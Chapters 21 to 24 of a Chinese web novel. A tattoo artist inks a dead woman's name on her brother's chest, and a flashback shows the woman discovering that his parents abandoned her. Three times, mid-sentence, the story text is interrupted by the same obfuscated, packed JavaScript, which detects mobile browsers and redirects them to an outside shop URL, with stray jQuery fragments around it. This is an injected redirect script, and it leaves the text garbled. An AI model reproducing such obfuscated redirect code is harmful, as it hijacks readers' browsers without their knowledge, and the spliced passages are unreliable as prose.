薛离赶紧跟上:“那什么时候能再见?” “没有再见的必要。” - 再见薛离,是在机场。 阮瑞晓上午十点的飞机,陈归澜自然要去送。阮阳昭也带着薛离来了。 阮瑞晓回去的那天,也是个大晴天,阳光被烟尘笼罩,并不刺眼,也不炙热。 陈归澜最后拥抱阮瑞晓:“东西都放在你背包里面了,记得藏好。真的不得不离开?” “嗯,那边的事情……终归要解决。” “那我就不多劝了。什么时候回北城,跟我说一声,白越的画,你可还没修复完。” 阮瑞晓笑着应好。她知道,这是陈归澜给她的借口。 和陈归澜分开,阮阳昭迫不及待地拥了上去。 “真的要回去?”同样的问题。阮阳昭把阮瑞晓抱在怀里,但他自己才是那个更缺乏安全感的人,被护着的,其实是他。 “真的。”阮阳昭轻轻拍拍他的背,“我先回去,处理好那边的事情就回北城。我答应你,一定会回来。” 阮阳昭重重地点头:“好,我在这边等你。” 阮阳昭不是没有提出过要陪阮瑞晓回去,但阮瑞晓都拒绝了。她说,她自己的事情,要自己解决。阮阳昭尊重她的选择,而且,他家里的事情,也需要他提前解决好。 送别了阮瑞晓,薛离拽着要离开的阮阳昭:“陈归澜,一起吃个午餐?” “不了。”陈归澜淡淡看了一眼阮阳昭,“瑞晓如果回北城,记得联系我。” “好。” 陈归澜下意识觉得,阮瑞晓和阮阳昭关系进展得有点太快了。阮瑞晓如果回北城,要联系的第一个人肯定是阮阳昭。但薛离的话仿佛还在耳边,她担心阮阳昭无法处理好家里的事情,担心阮阳昭和阮瑞晓闹矛盾之后无处可去,担心阮瑞晓自尊心强,不愿意主动找她。 看着陈归澜离开的身影,薛离有些失神。 阮阳昭碰了碰他的胳膊:“喜欢就去追,在这里发什么呆?” 薛离失笑。以前,都是他嘲笑阮阳昭,现在风水轮流转,被嘲笑的倒是变成他了。 “不必了,不是一路人。” “才刚认识,就知道?” 薛离顿了顿,没说话。 他终究是没忍住对陈归澜的好奇心,找身边的朋友调查了她。 陈归澜,有一个青梅竹马的男朋友,白越。 白越,陈归澜的男朋友,死于一场意外,时年二十岁。 打听到这一切之后,薛离才知道那天晚上问出那个问题的自己有多荒谬,也通过那个阴差阳错的回答,知晓了陈归澜目前的想法。 他没有机会,至少现在没有。 而他,不是一个会等待的人。 小时候,遇到了喜欢的玩具,他会立刻买回来。如果哥哥要争那个玩具,他会问爸爸妈妈,如果爸爸妈妈的表情柔和,他就会据理力争,如果爸爸妈妈的表情严肃,他就会让给哥哥,然后说,自己也不是很喜欢。 长大了,有想学的兴趣,他就会立刻行动。如果爸爸妈妈赞同,他就马上找机构咨询,如果爸爸妈妈不赞同,他就会放弃,然后说,其实也没有那么喜欢。 立刻得到,或是放弃,他只学会了二选一,却不知道如何做退步,然后达到自己的目的。 - 陈归澜的担心一点都没有错,后来,阮瑞晓再也没有联系过她。而当她再次听到阮瑞晓的名字,是阮瑞晓去世的消息。 阮瑞晓去世之后,阮阳昭也跟失踪了一样,她怎么也联系不到人。她试图通过薛离联系阮阳昭,但那时候,薛离放弃了国内的一切,出国念书了,他也一样,彻底和阮阳昭失去了联系。 只是薛离知道的要比陈归澜知道的稍微多那么一点点。 阮瑞晓,是阮阳昭的亲姐姐,同父同母的亲姐姐。 那个时候,阮阳昭不知道,阮瑞晓也不知道。 - 周三下午,赵许一准时带着阮阳昭出现。 年轻人穿着价格不菲但款式低调的衣服,眉眼干净,却透着一股与年龄不符的死寂。 他跟在赵许一身后,进门时下意识地放轻了动作,目光快速扫过墙上那些风格各异的纹身图样,最后落在陈归澜身上。 赵许一介绍:“归澜,这是阮阳昭。阮阳昭,这是陈归澜,这家纹身店的老板。” 陈归澜淡淡瞥他一眼,没主动说早就认识,阮阳昭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16948066|191805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不敢相认。 “归澜。”阮阳昭叫她,算是打了招呼。 陈归澜点头,视线落在阮阳昭身上:“想好了?” 阮阳昭迎上她的目光,点了点头。他从口袋里拿出一张折叠整齐的纸条,展开,上面用工整的字迹写着“阮瑞晓”三个字。 “想纹这个。”他声音不大,却很清晰,“在心口的位置。” 陈归澜接过纸条,看着那三个字。 “心口?”陈归澜告知前提,以免他中途后悔,“心口位置的皮肤非常薄,几乎没有肌肉或脂肪缓冲,下面就是胸骨,而且靠近重要器官,会很疼。” 陈归澜强调:“并且,比其他任何部位都要疼。” 阮阳昭认真地点了点头:“我想好了,就纹在心口的位置,纹这个名字。” “米利安,你先带他完成前面的准备环节。” 陈归澜知道阮阳昭本身并没有做什么错事,但她就是忍不住把他姐姐的死和他的幸福联系到一起,没有办法对他有什么好脾气。 如果之前给郑开禾纹身的时候,她早知道郑开禾的事迹,大概率也会这样。 米利安应了一声,拿着确认书过来,陈归澜也起身往外走。 看见陈归澜走出店门,赵许一赶紧跟上。 “归澜!” 陈归澜脚步没停,继续往外走。 关上店门,赵许一急忙道:“归澜,上次的事情是我不对,你别介意!” 陈归澜终于顿住。 她知道他的话也没什么错,阮阳昭他们一家跟她更是没什么关系,她的气来得没理由。 “我没介意。” “那你别生我的气了。”赵许一忽然意识到,因为家境显赫,从小到大自己也优秀,他嚣张跋扈二十几年,这还是他头一次这么低声下气。 陈归澜听得烦了:“我没有生气。这件事到此为止,你不要再提了。” “好好好,我再也不提了。”赵许一连忙应答,生怕一直道歉又会惹她生气。 了结了这件事,赵许一又提起了之前的邀约,试探性问道:“那……吃饭?” 陈归澜忽然感到一种抽离的荒诞。 个体在遭遇不公时,总会下意识地寻找更弱小的标靶来转嫁痛苦,阮阳昭的父母似乎就成了这样一个方便的宣泄口,承载了她对结构性不公的、无处安放的愤懑。 她厌恶的并非是某个具体的人,而是那个庞大、冰冷,常常显得蛮不讲理的运行逻辑。它制造悲剧,然后轻易地将个体简化为一个扁平的标签,剥夺其被复杂理解的资格。 而她自己,此刻也正用这个标签,在进行一种粗暴的审判。 这念头让她心底泛起一丝苦涩。 她想起读过的那些书,关于权力如何以最微末的方式渗透进日常,关于个体在庞大社会机器前的无力与抗争。理论是清晰的,线条分明,可一旦落入具体生活的粘稠泥沼,所有高屋建瓴的思考,似乎都显得苍白而迂阔。 她深吸一口气,试图将自己从无边无际的理论思考中抽离出来,逐渐将阳光的温度传递给自己的神经和大脑。 她在这里见证过太多渺小的叙事,那些爱、恨,纪念、反抗,无一不是具体而微的个人史,抵抗着被宏大话语淹没的命运。 阮阳昭想刻下的,也是这样一段被主流叙事刻意遗忘的个人史。 一个被牺牲的女儿,一个试图以肉身铭记的弟弟。 陈归澜沉默片刻,点头:“时间你定,叫上江敬寒。” “好!” 22. chapter 22 清静下来,准备工作米利安也差不多完成了。 “在里面的房间躺着。”陈归澜指了指里间,“我先给你画图。” 阮阳昭依言躺下。 当陈归澜用笔在他左胸上方皮肤上勾勒出名字的轮廓时,他闭上了眼睛,喉结轻轻滚动。 赵许一靠在远处的墙上,沉默地看着。 纹身机响起时,阮阳昭放在身侧的手微微攥紧。针尖刺破皮肤,带着细微的刺痛,一下下,仿佛不是刻在血肉上,而是刻进更深的地方。 陈归澜垂着眼,她能感受到手下身体偶尔的紧绷,但阮阳昭始终一声不吭。 只有在他偶尔睁眼,看向天花板某处虚空时,眼底才会掠过一丝深切的痛楚。 那痛楚太沉,太钝,与他年轻的面容格格不入。 陈归澜什么也没问。 除了小时候妈妈给她在虎口处刺下的纹身,还有白越去世后她洗掉虎口处的纹身,她再也没有在自己身上留下关于纹身的痕迹,早就忘了纹身到底有多疼,到底是什么值得永生铭记的能克服如此剧烈的疼痛。 最后一笔落下,她轻轻拭去渗出的血珠,看着那个新鲜而清晰的印记,低声说:“好了。” 阮阳昭缓缓坐起身,低头看向心口那个名字。 阮瑞晓。 那个她想改,但一直没有机会更改的名字。 他伸出手指,抚摸到那个名字,就好像抚摸到了他失去的姐姐。 陈归澜挡住他的手:“先别碰,会很疼。” 阮阳昭轻轻摇头,手指触碰到发红的皮肤边缘,然后收回手。 “我的疼,不及姐姐的万分之一。” “谢谢。”他抬起头看向陈归澜,眼圈有些发红,像是终于卸下了某种重负。 陈归澜只是点了点头,开始收拾工具。 “当初,为什么躲起来?”陈归澜问。 她也是最近才听赵许一提到,说是阮瑞晓去世之后,阮阳昭就和父母决裂,然后一气之下出了国,上个月才回国,依然没有和父母有任何来往。 “我……无法原谅自己。” 他活了二十多年,他不知道自己有个同父同母的亲姐姐,他爱上了自己的姐姐,甚至姐姐的死也是他间接造成的……他实在无法接受。 陈归澜质问他:“不是早就跟你说过,瑞晓回来要告诉我吗?” “对不起……”想到当初的事情,阮阳昭依然心如刀绞。 麻药膏的效果好像过去了,纹身的地方开始隐隐作痛,像火线沿着针刺的轨迹重新燃烧。 纹在心口的那个名字像一个刚刚切开、通往旧伤口的裂隙,他感到呼吸发紧,那个名字沉沉地压在心口,像一枚用疼痛铸成的烙印,将过往永远锚定在当下的肌肤之上。 阮瑞晓……她说,她很讨厌父母给她的名字,阮待麟。似乎她的名字是为了阮阳昭才存在,似乎她的存在是个错误,似乎她的存在只是为了衬托阮阳昭被期待的存在。 她对所有人的自我介绍都是,阮瑞晓。 瑞,象征祥瑞、幸运。 晓,代表破晓、光明。 她希望自己的存在是晨光初现,希望新名字能给让黑暗过去、希望降临。 他记得姐姐的名字不是阮待麟,而是阮瑞晓。 他希望别人提起她时,叫的名字是阮瑞晓。 有些相遇来得太晚,晚到只剩下一个名字可以铭记。 “当初,究竟发生了什么?” 阮阳昭的目光穿过赵许一,看向门外。 今天的日光像是褪了色,它穿过玻璃,薄薄地铺在地上,像一层磨砂质地的玻璃纸,温吞地泛着旧书页似的暖黄。没有刺眼的光芒,也没有灼人的温度,只是那样均匀地弥漫着,将空气都晕染得缓慢而稠滞。灰尘在光柱里浮沉,起落得小心翼翼。 他记得,那是一个明媚的夏天,太阳却像今天一样温和。 太温和了,温和得不像夏天。 后来,他才知道,那年夏天,北半球经历了一次大规模的山火,烟尘被气流带到平流层,形成了持续数周的阳伞效应。科学家是这么叫的。那些悬浮的微粒像一把巨大的遮阳伞,过滤了阳光中相当一部分的热烈和锐利。 所以他们那天看到的,感受到的,根本不是一个正常的夏日。那是一个被远方灾难意外柔和的假象。就像……就像他和姐姐的那次相遇,看似是命运温柔的馈赠,实则却是建立在某种不幸之上的短暂而脆弱的幻觉。 “我们都活在一个失真的环境里,却误以为那就是真实。” 这是姐姐对她说过的话。 当时他还不知道这句话意味着什么,以为是她多愁善感的一句感慨。后来他才知道,他以为的真实只是一场巨大的谎言,他成为凶手刺向姐姐的那把利刃。 - 阮阳昭接到阮瑞晓电话的时候,正在和薛离打篮球。 她的专属铃声响起,他几乎是立刻将球扔给薛离,灵活地躲过几个人,跑到了场外。 薛离一边大骂他没球品,一边突破重围,来了一个果断的灌篮。 队友都在喝彩,阮阳昭拿着手机跑远了些,保证能清晰听到阮瑞晓的声音。 这是这些天,阮瑞晓第一次主动联系他。 “喂,阳昭……”阮瑞晓的声音轻柔,身边背景嘈杂,有很多人在说话,有语音播报的声音,还有行李箱滚轮在地上滚动的声音。 “瑞晓……”阮阳昭仔细辨认电话那头的场景,“你在……机场?!” 阮瑞晓笑着回答:“不是,我在火车站。” “火车站?” 阮阳昭想问,你是不是要来北城,但两个城市的距离很远,一般大家都会选飞机出行。他想问,你是不是要去附近城市旅游,又怕得到肯定的答案。 “嗯,我要来北城了。”阮瑞晓看着列车时刻表,“大概明天早上八点,到西站。” “那……明天我去接你?” “嗯。” - 接到阮瑞晓的那个凌晨,外面下了点小雨,淅淅沥沥的,细碎的雨水温柔地滑过玻璃,发出微弱的声响,像是在提醒阮阳昭,不要睡过头,耽误了时候。 雨是多虑了,因为一想到马上就能见到阮瑞晓,阮阳昭兴奋得压根睡不着。他把沙发挪到窗边,看着雨丝从眼前飘走,期待着天光破开云层的瞬间。 那个瞬间,也是他应该出发去见阮瑞晓的时间。 阮父五点早起,发现自家儿子竟然还坐在客厅里,有些生气。 “不好好睡觉,坐在这里干什么?” “等天亮,去接人。”阮阳昭回答。 阮父问:“谁?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16952173|191805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“就是上次跟你提起的,瑞晓。”阮阳昭站起身,“爸,她有些内向,到时候你们见了面,你别吓到人家。” 阮父有些恼怒:“我是什么洪水猛兽,还吓到她?” “爸……”阮阳昭其实想说,他这副模样,任谁见到了都会被吓到。当初,薛离还是个半大小子的时候,就被他这个严肃的父亲吓了一跳。 “好了。”阮父问,“你那个宝贝瑞晓,究竟是哪家的千金?带人回家,我们也得提前准备点礼物。” “她是——”话还没说出口,天光乍破,和雨丝缠绵着一起穿过玻璃窗,落在木地板上,烙下一道金色的线。 阮阳昭赶紧准备出门:“爸,不跟你说了,到时候你就知道了!” 看着自家儿子慌慌张张地出门,阮父站在原地,若有所思。 - 开车驱向火车站的路上,阮阳昭找了个舒缓、浪漫的歌单,打开循环播放,调到合适的音量,又把提前一天买好的零食放在副驾显眼的位置,确保阮瑞晓能一眼看到。 她不喜欢香水的味道,所以他早就撤掉了车内的所有香薰,还送去里里外外清洗了一遍,又放了几只橘子在车里。 确认一切完美,阮阳昭嘴里哼着歌,前面的绿灯也正好亮起。 “让理智在叫着冷静冷静,还恃住年少气盛,让我对着冲动背着宿命……” 电话铃声不合时宜地响起。 下个路口的绿灯开始闪烁,等阮阳昭的车开到临近斑马线时,绿灯已经跳成了红灯。阮阳昭刹车,接起电话。 “喂?” “你小子,昨晚叫你你不来,今天这么早就起床了?” 是薛离。 薛离刚从一场庆功宴的现场离开。赵许一的车队拿了个大奖,赵许一不由分说拉着车队的赞助商一起参加庆功宴,一伙人闹了一整夜才散场。 赵许一走在薛离旁边,手里还抱着头盔,一副刚从领奖台上走下来,意气风发的模样。 薛离经常感慨赵许一酒量天赋异禀地好,不管喝多少,都不醉,至少到目前为止,他还不清楚赵许一到底能喝多少。 “没睡呢。”阮阳昭心情好,懒得跟他掰扯,“去接瑞晓。” 薛离的脚步一顿,脸上的表情并没有什么变化。 “跟陈归澜说了?” “……还没有。” 或许是心底那点仅剩的叛逆心作祟。他在学校被老师管,在家里被父母管,为什么还要被一个无关紧要的陈归澜管? 他问过阮瑞晓,知道她跟陈归澜的关系。但不管陈归澜对她有多少恩,都没有管着他们的必要。 阮阳昭:“等我接到了瑞晓,再跟她说也不迟。” “行吧,你自己掂量。”车到了,赵许一已经坐了进去,薛离也挤进后座,关上车门。 薛离:“你们之间的事情,你自己想清楚。先挂了,回去补觉,注意安全。” 挂了电话,阮阳昭也在犹豫,要不要提前跟陈归澜说一声,毕竟阮瑞晓第一次来北城,一直是陈归澜在照顾,而她也是除了他,阮瑞晓在北城唯一能信任的人。 后车急着去上班的人不耐烦地开关闪灯,提醒他,赶紧开车。 红灯早就过去了,绿灯还剩下三十秒。 阮阳昭赶紧踩上油门。 算了,接到人再说吧。 23. chapter 23 阮瑞晓在阮阳昭家附近不远的巷子租了个小房间。房东是她回老家之前就联系上的,确定回北城的时间之后,她就找房东租了个小房间。 是合租,房间不大,但光线还不错,天气好的时候,阳光能短暂地在她的房间停留两个小时,比她在老家的房间要好。 父母离家之后,她是爷爷奶奶带着长大的。 爷爷奶奶待她并不好。 奶奶常骂她,说如果不是她,爸爸不会一去不归。 长大了些,爷爷奶奶年纪大了,家里的大小事情都是叔叔在管。叔婶让她出去干些碎活儿补贴家里,一开始是小饭馆、奶茶店,年龄到了就把她送去流水线,工资都直接打给叔婶。 厂里管吃管住,她理所当然一分钱没有,只能趁着每个月一两天的休息,出去找零碎的活儿,挣几十上百块。 这些年,如果不是偶然认识陈归澜,她连去北城的钱都没攒够。 还好……她把行李箱推到床下面。 她的一切,都在这个小小的行李箱里。 “瑞晓,饿了吗?”阮阳昭问。 舟车劳顿过后,阮瑞晓感到一阵疲乏,在车上也没吃东西。 “我还好。”阮瑞晓想了想,抬头看阮阳昭,“一大早就来接我,还没吃东西吧?我们一起去吃早餐?” 阮阳昭哄着阮瑞晓坐下:“我不累,也不饿。反倒是你,大老远过来,先休息。” 说着,阮阳昭推着阮瑞晓坐下。 阮阳昭:“你先坐会儿,我下楼给你买被子这些,顺便带点早饭上来。” 阮瑞晓没有拒绝,点点头。 “嗯,我在房间等你。” 阮阳昭下楼的声音在楼道里回荡,逐渐走远。阮瑞晓走到窗边,眺望着不远处的塔楼。 那座破旧的小塔楼是一处公园的部分。 那天,她在公园,分明看到了那个男人,她还没来得及确认,不过转眼的功夫,那男人就汇入人海,消失不见了。 也是那一刻,她下定决心,一定要找到他们。 不寻求虚无的亲情,不要迟来的愧疚……她只想知道,他们究竟为什么,要抛下父母兄弟和孩子,远走他乡,这些年,连一个电话都没有。 - 公园成了她每日的定点。 接下来几天,只要得空,阮瑞晓就会去那座公园。她熟悉了清晨打太极的老人队伍,午后来晒太阳的孩童与保姆,傍晚匆匆穿行的下班族。 除了找工作,她得空时就坐在那张能望见塔楼入口和一条小径交汇处的长椅上。 希望如同被反复拉扯的皮筋,在一次次辨认后的失望中渐渐失去弹性。有时看到一个相似的背影,她的心会猛地提起,脚步不由自主地跟上,直到对方转过身,露出一张全然陌生的面孔,那口气才猝然跌落,摔得生疼。 北城的早秋多风,裹挟着沙尘,吹得她眼睛发干发涩,不知是风沙迷了眼,还是别的什么。 阮阳昭常来陪她,带些吃的,或只是沉默地坐一会儿。他不知道她在等什么、期待什么,只是静静地陪在她身边,希望她能早点等到。 等待煎熬人,却也磨砺出一种近乎麻木的耐心。直到那个周末的下午,阳光比前几日都好,公园里人也多了些。阮瑞晓正低头看着地上爬过的蚂蚁,一阵模糊的谈笑声随风飘来。她下意识抬眼—— 斜对面几十米外的凉亭旁,那个男人正背对着她,和一个年纪相仿的朋友边比划边说着什么,随后拍了拍对方的肩膀,转身朝着公园侧门的方向走去。 是他! 阮瑞晓猛地站起,长椅发出一声刺耳的摩擦声。她什么也顾不上了,绕过身前慢悠悠散步的一对老夫妻,朝着那个方向疾步追去。 “等等!”她几乎要喊出声,但声音却堵在喉咙里。 男人似乎并没有察觉,步伐很快,转眼就出了侧门,开车汇入外面那条相对热闹的街道。阮瑞晓追出去,只来得及看到他的车尾在人海中消失的瞬间。 她喘着气跑出公园,人早已不见。 又是这样。 当初,他们就是这样开着车远走高飞,留她一个人在老家挨苦受累,现在又是这样…… 她扶着膝盖,大口喘气,一种混合着失望、愤怒与不甘的强烈情绪涌上心头。 她颓然地靠在围墙之上,看着喧闹的车流从眼前一一路过,似乎她的人生也是这样,只能看着他们沉默地离开,想拽住一点残余的温情,却抓了一手空。 就在这时,手机响了,是阮阳昭。 “瑞晓,你在哪儿呢?”他的声音透过听筒传来,背景音安静,似乎就在家里,“约了今晚一起吃饭,我下午过去接你?” 她缓了缓呼吸,对着手机说:“好。我在家里等你。” - 阮瑞晓没有回家。 她漫无目的地在街上走了很久,直到双腿酸软,才拐进一家便利店,买了一瓶水,坐在窗边的高脚凳上,一口一口慢慢地喝。 天色渐暗,华灯初上。她看着玻璃窗外逐渐亮起的万家灯火,手机屏幕亮起。 阮阳昭说他已经到她租住的巷口了。 她站起身,理了理被风吹乱的头发,朝巷口走去。 - 阮阳昭的车停在巷口昏黄的路灯下,见她走来,他摇下车窗朝她挥手,脸上带着一贯温和的笑意:“瑞晓,上车吧。礼物我都买好了,在后备箱。” 阮瑞晓拉开车门坐进副驾驶座。车内暖气开得很足,与外面渐起的寒意形成鲜明对比。 “你脸色看起来不太好,”阮阳昭侧头看她一眼,发动了车子,“是不是太累了?” 阮瑞晓摇摇头,勉强笑了笑:“没事,就是开始换季了,有点不适应。” “慢慢来,”阮阳昭专注地看着前方路况,“北城的秋天就是这样,白天还好,一到晚上就凉。有什么事情,就跟我说,或者……联系陈归澜。” 阮阳昭的私心是,不要和陈归澜有太多联系。 薛离出国之后,阮阳昭恰好遇到认识白越的人,顺嘴打听了一下陈归澜。不是什么不好的人,只是……她的经历太过悲惨,他不希望阮瑞晓和她有太多接触。 “瑞晓,不用紧张,只是一顿日常的晚餐,不是正式见面。” “好。” 车窗外,北城的夜景缓缓流过。阮瑞晓望着那些陌生的街道和高楼,心中涌起一股说不清的复杂情绪。 车子驶入一片安静的住宅区,在一栋六层高的老式公寓楼前停下。这个楼盘有了点年头,但地段好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16959991|191805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一梯一户,很多十几二十年前发迹的人都喜欢住这块儿。他们给阮阳昭在新一些的楼盘买了几套房,但阮阳昭不习惯一个人住,还是经常回这边。 阮阳昭停好车,带着阮瑞晓上了三楼。 门铃响起,脚步声由远及近。门开了,一位面容温和、看上去五十多岁的女人出现在门口。 “妈,这就是我跟您提过的瑞晓。”阮阳昭把手里提着的礼物递给女人,侧身介绍。 女人上下打量着阮瑞晓,眼中闪过一丝莫名的情绪,快得让人以为是错觉,随即露出热情的笑容:“快进来快进来,外面冷。阳昭说你从老家来北城找工作?一个女孩子在外面不容易啊。” “谢谢阿姨。” 阮瑞晓觉得眼前的人似乎有些眼熟,但又说不上来究竟哪里眼熟,礼貌打了招呼,跟着进屋。 屋内温暖明亮,布置得简单而温馨。 “老阮,阳昭带朋友来了!”女人朝里屋喊道。 男人“嗯”了一声,紧接着,沉稳的脚步声响起,越来越近。 男人出来的时候穿着条纹polo衫,头发一丝不苟地打理着,鼻梁上架着一副黑框眼镜,表情严肃。 阮瑞晓瞬间感觉天旋地转,仿佛五脏六腑齐齐坠下,血液倒流。 就是他。 公园里那个一闪而过的身影。 隔远了看,她只觉得身形和记忆中的有些相似,现在离得近了,能看清他的五官,这张脸与她记忆中那张被奶奶藏起来、又被她偷偷翻出来的泛黄照片上的男人,有着惊人的相似。 “爸,这是瑞晓。”阮阳昭介绍道。 男人点头:“欢迎欢迎。前些日子,生意忙,只听阳昭提到过几次,你也姓阮?” “是的,叔叔。”阮瑞晓强迫自己冷静下来。 或许这一切只是她弄错了,或许……一切只是一场误会。 “你是哪里人?听口音,不是北城人,不知道令尊是做什么的?” “爸。”阮阳昭将阮瑞晓牵到身后,打断父亲的盘问,“沽珈山人,鼎州下面的一个地方,离星城很近。好了爸,我们赶紧吃饭吧。” 不知道是不是她的错觉,说到沽珈山的时候,他们夫妻好像都愣了一下。 不过,阮父很快回过神来,招呼着:“对,吃饭,坐,坐。” 阮母也赶紧去厨房,把菜端出来。 一顿饭吃得阮瑞晓味同嚼蜡。她强迫自己正常地与这一家人交谈,目光却总是不由自主地落在对面那个被她称为“阮叔叔”的男人脸上。 父母离家太早,她对所谓生她的父母并没有很深刻的记忆。她只是在一个人,想念父母的时候,才会悄悄从奶奶的箱子里找出爸爸年轻时的照片,试图从泛黄的照片找到一点温情。 面前的两个人,一个她连照片都没有见过,记忆早已模糊,一个仅剩残存的印象,难以辨认。 她觉得,面前的人或许就是她的父母,至少,父亲应该是她的父亲……她本来希望如此,但此刻,所有曾经的期盼成了真,她却觉得心底一阵阵发凉。 原来他们一直都在北城。有了新的家庭,新的儿子,新的生活。 而她,被遗忘在那个南方小镇的旧时光里,像一件过时的旧衣服,被随意丢弃。 24. chapter 24 “瑞晓,你还好吗?”阮阳昭的声音将她拉回现实,“你脸色很苍白。” “可能是有点累了,”她勉强扯出一个笑容,“谢谢叔叔阿姨的款待,饭菜很好吃。” “客气什么,以后常来。”女人热情地说,“阳昭一个人在北城,能有朋友互相照应,我们做父母的也放心。” 阮瑞晓点点头,心中却涌起一阵讽刺的疼痛。他们关心自己的儿子有无照应,却从未想过那个被他们抛弃的女儿,这些年在没有照应的日子里,是如何挣扎求生的。 饭后,阮阳昭的母亲端来水果,一家人又闲聊了一会儿。接着,阮父接到物业的电话,说是哪家邻居不小心把他们的车给撞了,让他们下去处理,阮阳昭就和阮父一起出去了。 家里,暂时只剩下阮母和阮瑞晓两个人。 通过阮母的话,阮瑞晓得知,阮阳昭的父亲在北城开了公司,经营得还不错。一家人一开始在鹏城闯荡,阮父果断,借着风口,很快就积攒了一些资本,十几年前搬来了北城。 “那时候阳昭才一岁,我们也是下了很大决心才离开鹏城的。”女人感慨地说,“为了给孩子更好的教育机会,不得不背井离乡啊。” 阮瑞晓安静地听着,手指在桌下悄悄握紧。他们离开时,她也不过两三岁。原来在他们心中,“孩子”从来只有阮阳昭一个。 “瑞晓,你父母呢?也在老家吗?”女人突然问道。 阮瑞晓感到喉咙发紧:“他们......很早就去世了。” 女人同情地点点头,说了几句无关痛痒的安慰的话,然后就又换了话题,话里话外都是夸赞自家儿子多么优秀。 阮瑞晓却突然有一种忤逆心作祟,硬生生将话题扯了回去。 “奶奶说,我爸妈是在我两三岁的时候离开的。”阮瑞晓声音轻柔,眼睛固执地看着女人,“他们离开之后,家里就只剩下爷爷奶奶和叔婶。除了我,爸妈什么都没留下,抚养我的责任也落到了爷爷奶奶和叔婶身上。” 听到这里,阮母好像察觉到了什么,手指有些发抖。 “瑞晓啊,你的爷爷奶奶和叔婶,待你好吗?” “不好。”阮瑞晓坦言,“小学的时候,他们就把我送去兼职,一开始是在网吧帮人看店,后来是去饭店做服务员、去奶茶店……再后来,年纪到了,他们就不让我上学了,把我送到流水线上班。他们一分钱都不给我留,也不让我回家。他们说,他们养的是没爹妈的孩子,孩子长大了,理应工作偿还他们的付出。” 阮母脸上那抹惯常的温和笑意,在阮瑞晓平静的叙述中一点点僵住、剥落。她端着茶杯的手指不自觉收紧,骨节微微泛白,热水晃出少许,烫在皮肤上也浑然不觉。房间里原本温暖融洽的空气,像是被无声地抽走了大半,骤然变得稀薄而滞重。 “是……是这样啊……”阮母的声音有些发干,她放下茶杯,抽了张纸巾,缓慢地擦拭着手指,目光却低垂着,不敢再与阮瑞晓那双过分清澈的眼睛对视。 阮母又问:“那……那你爷爷奶奶,现在身体还好吗?” 她问得有些艰难,仿佛每个字都需要斟酌。 “都很好,还打得动我。” “哦……哦。”阮母机械地点着头,手指将纸巾揉成了一小团。她抬起头,似乎想重新挤出一点笑容,却只是嘴角不甚自然地牵动了一下。 “你……你受苦了,孩子。”这句“孩子”叫得突兀,带着一丝连她自己都未曾察觉的微颤。 “还好,都过去了。”阮瑞晓轻轻地说,目光却像是不经意般扫过客厅墙壁上挂着的家庭合影。照片里,年轻的阮父阮母抱着幼年的阮阳昭,笑得灿烂无忧。 那是她从未拥有过的时光定格。 阮母顺着她的目光也看到了那张照片,脸色白了一瞬。她慌乱地移开视线,伸手去拿水果盘,指尖却有些抖。 “吃、吃点水果吧,这葡萄挺甜的,阳昭特意买的。” “谢谢阿姨。”阮瑞晓接过,却没有吃,只是拿在手里。 沉默在两人之间蔓延,带着某种心照不宣的、令人窒息的压力。 终于,阮母像是下了很大决心,重新开口,声音放得很轻,小心翼翼地试探:“瑞晓啊……你刚才说,你是沽珈山人?具体是……哪个村?说不定,我们当年在鹏城……我的意思是,我们年轻的时候,鼎州那边很多人都去鹏城打工,说不定,还遇到过你们那边的老乡呢……” 她的眼睛紧紧盯着阮瑞晓,不放过她脸上任何一丝细微的变化。 阮瑞晓抬起眼,迎上她的目光。那双眼睛静得像深秋的潭水,映出阮母略显仓皇的倒影。 “山南村,阮家湾。阿姨,您听说过吗?” “阮家湾……”阮母喃喃重复,瞳孔骤然收缩,捏着葡萄的手指不自觉用力,紫色的汁液渗出,染了指腹。她猛地回过神,扯出更多纸巾用力擦拭,借此掩饰瞬间的失态:“好像……好像有点印象,又记不太清了。毕竟,离开老家太多年了。” 她擦拭的动作慌乱,心脏在胸腔里擂鼓般跳动。山南村阮家湾……那是她午夜梦回,都不敢轻易触碰的旧地名。 “原来阿姨也是沽珈山人啊……”她说漏嘴了。阮瑞晓静静地看着阮母慌乱的动作,话一出口,破了的葡萄从手中滚落,在地上漫无目的地打着转,最后撞上沙发脚,旋转着停下。 “是啊,太久远了。”阮瑞晓附和着,语气依旧平淡,“很多事,很多人,记不清也正常。就像我,都快不记得我爸妈长什么样了。只记得奶奶箱底有张很旧的照片,还是我爸年轻时照的,穿着那种老式的衬衫,站在一棵大树下。” 她顿了顿,像是随口一提:“说起来,阮叔叔年轻时的样子,好像跟那张照片里的人,有那么一点相似,尤其是鼻梁和下巴的轮廓。” “哐当——” 